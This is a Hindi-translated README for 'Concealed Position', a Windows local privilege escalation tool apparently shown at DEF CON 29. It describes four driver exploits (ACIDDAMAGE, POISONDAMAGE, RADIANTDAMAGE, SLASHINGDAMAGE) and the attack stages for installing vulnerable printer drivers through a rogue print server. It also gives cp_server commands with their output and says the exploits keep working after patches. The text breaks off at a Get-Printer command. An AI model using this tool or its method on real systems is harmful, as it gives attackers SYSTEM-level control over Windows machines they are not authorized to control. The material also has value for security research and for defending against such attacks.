
अपना स्वयं का प्रिंट ड्राइवर विशेषाधिकार वृद्धि उपकरण लाएं
Concealed Position विंडोज के खिलाफ एक स्थानीय विशेषाधिकार वृद्धि हमला है जो "Bring Your Own Vulnerability" की अवधारणा का उपयोग करता है। विशेष रूप से, Concealed Position (CP) विंडोज में as designed पैकेज पॉइंट और प्रिंट लॉजिक का उपयोग करता है जो एक निम्न विशेषाधिकार वाले उपयोगकर्ता को प्रिंटर ड्राइवरों को स्टेज और इंस्टॉल करने की अनुमति देता है। CP विशेष रूप से ज्ञात कमजोरियों वाले ड्राइवरों को स्थापित करता है, जिनका फिर SYSTEM तक विशेषाधिकार बढ़ाने के लिए शोषण किया जाता है। Concealed Position को पहली बार DEF CON 29 में प्रस्तुत किया गया था।
Concealed Position चार एक्सप्लॉइट प्रदान करता है - सभी समान रूप से बेवकूफी भरे नामों के साथ:
एक्सप्लॉइट शानदार हैं क्योंकि, SLASHINGDAMAGE को छोड़कर, वे समस्याओं के पैच होने के बाद भी काम करते रहेंगे। विंडोज के पास उपयोगकर्ताओं को पुराने ड्राइवरों का उपयोग करने से रोकने का एकमात्र तंत्र ड्राइवर के प्रमाणपत्र को रद्द करना है - ऐसा कुछ जो ऐतिहासिक रूप से नहीं किया गया(?)।
शायद ACIDDAMAGE। RADIANTDAMAGE और POISONDAMAGE रेस कंडीशन हैं (DLL को ओवरराइट करने के लिए) और SLASHINGDAMAGE क्षति, उम्मीद है, अधिकांश स्थानों पर पैच किया गया है।
Concealed Position के दो भाग हैं। एक दुष्ट प्रिंटर और एक क्लाइंट। क्लाइंट सर्वर से संपर्क करता है, एक ड्राइवर लेता है, ड्राइवर को ड्राइवर स्टोर में संग्रहीत करवाता है, प्रिंटर स्थापित करता है, और स्थापना प्रक्रिया का शोषण करता है। आसान! MSAPI भाषा में, हमला कुछ इस तरह होता है:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
यह ध्यान रखना महत्वपूर्ण है कि SLASHINGDAMAGE वास्तव में उस तरह काम नहीं करता है। SLASHINGDAMAGE DEFCON 28 (2020) में वर्णित दुष्ट प्रिंटर हमले का एक कार्यान्वयन है और लंबे समय से पैच किया जा चुका है। मुझे बस उस हमले में मजा आता है (इसने बाकी के विकास को प्रेरित किया) और मैंने सोचा कि मैं अपने दुष्ट सर्वर में एक्सप्लॉइट छोड़ दूंगा... जितना भ्रमित करने वाला हो सकता है।
बहस के योग्य, हाँ। ड्राइवर स्टोर "trusted collection of ... third-party driver packages" है जिसे संशोधित करने के लिए प्रशासक पहुंच की आवश्यकता होती है। GetPrinterDriver का उपयोग करके एक निम्न विशेषाधिकार वाला हमलावर मनमाने ड्राइवरों को स्टोर में स्टेज कर सकता है। यह, मेरे लिए, एक स्पष्ट सुरक्षा सीमा को पार करता है।
माइक्रोसॉफ्ट सहमत प्रतीत हुआ जब उन्होंने CVE-2021-34481 जारी किया।
हालांकि... यह तर्क दिया जा सकता है कि यह केवल सिस्टम की एक सुविधा है और बिल्कुल भी कमजोरी नहीं है। वास्तव में इससे ज्यादा फर्क नहीं पड़ता। एक हमलावर मानक विंडोज इंस्टॉल पर SYSTEM तक विशेषाधिकार प्राप्त कर सकता है।
कम से कम Windows 8.1 और उससे ऊपर।
सरल! इतना सरल कि इसका वर्णन करने के लिए कई पैराग्राफ होंगे!
पहले, cp_server के कमांड लाइन विकल्पों को देखें:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
ऊपर आप देख सकते हैं कि सर्वर को दो विकल्पों की आवश्यकता है:
उदाहरण के लिए, मान लें कि हम एक दुष्ट प्रिंटर कॉन्फ़िगर करना चाहते हैं जो ACIDDAMAGE ड्राइवर प्रदान करेगा। बस यह करें:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
और बस, आप अपने सिस्टम पर एक नया प्रिंटर देखेंगे:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer